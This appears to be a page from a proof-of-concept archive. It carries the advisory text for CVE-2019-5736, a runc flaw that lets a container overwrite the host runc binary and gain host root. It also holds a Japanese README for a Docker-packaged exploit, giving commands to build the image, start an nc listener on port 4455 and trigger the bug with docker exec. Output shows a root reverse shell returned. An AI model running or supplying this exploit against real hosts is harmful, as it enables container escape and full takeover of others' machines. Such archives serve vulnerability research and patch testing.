Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1336 CNY

100%

CVE-2019-5736 PoC — Docker 操作系统命令注入漏洞

Source
Associated Vulnerability
Title: Docker 操作系统命令注入漏洞 (CVE-2019-5736)
Description:runc through 1.0-rc6, as used in Docker before 18.09.2 and other products, allows attackers to overwrite the host runc binary (and consequently obtain host root access) by leveraging the ability to execute a command as root within one of these types of containers: (1) a new container with an attacker-controlled image, or (2) an existing container, to which the attacker previously had write access, that can be attached with docker exec. This occurs because of file-descriptor mishandling, related to /proc/self/exe.
Readme
# 概要

以下のリポジトリのエクスプロイトをDockerイメージで動作するようにしたもの。

https://github.com/feexd/pocs

# 使用方法

## イメージの作成

```bash
$ git clone https://github.com/k-onishi/CVE-2019-5736-PoC
$ cd CVE-2019-5736-PoC
$ make
$ sudo docker build -t poc .
```

## 実行

コンテナの実行及びホスト側でのポートリッスン。

```bash
# terminal 1
$ sudo docker run poc

# terminal 2
$ nc -lvp 4455
Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Listening on :::4455
Ncat: Listening on 0.0.0.0:4455
```

runcの実行。

```bash
# terminal 3
$ sudo docker ps --format {{.Names}}
modest_lalande
docker exec -it modest_lalande /bin/sh
```

`nc`にシェルが返ってくる。

```bash
# terminal 2
$ nc -lvp 4455
Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Listening on :::4455
Ncat: Listening on 0.0.0.0:4455
sh: このシェルではジョブ制御が無効になっています
sh-4.2#
```

# 試験環境

```bash
$ uname -a
Linux CVE-2019-5736-CentOS 3.10.0-862.14.4.el7.x86_64 #1 SMP Wed Sep 26 15:12:11 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
$ sudo cat /etc/redhat-release
CentOS Linux release 7.5.1804 (Core)
```

# デモ

![Demo](./demo.gif)
File Snapshot

Log in to view the POC file snapshot cached by Shenlong Bot

Log in to view
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →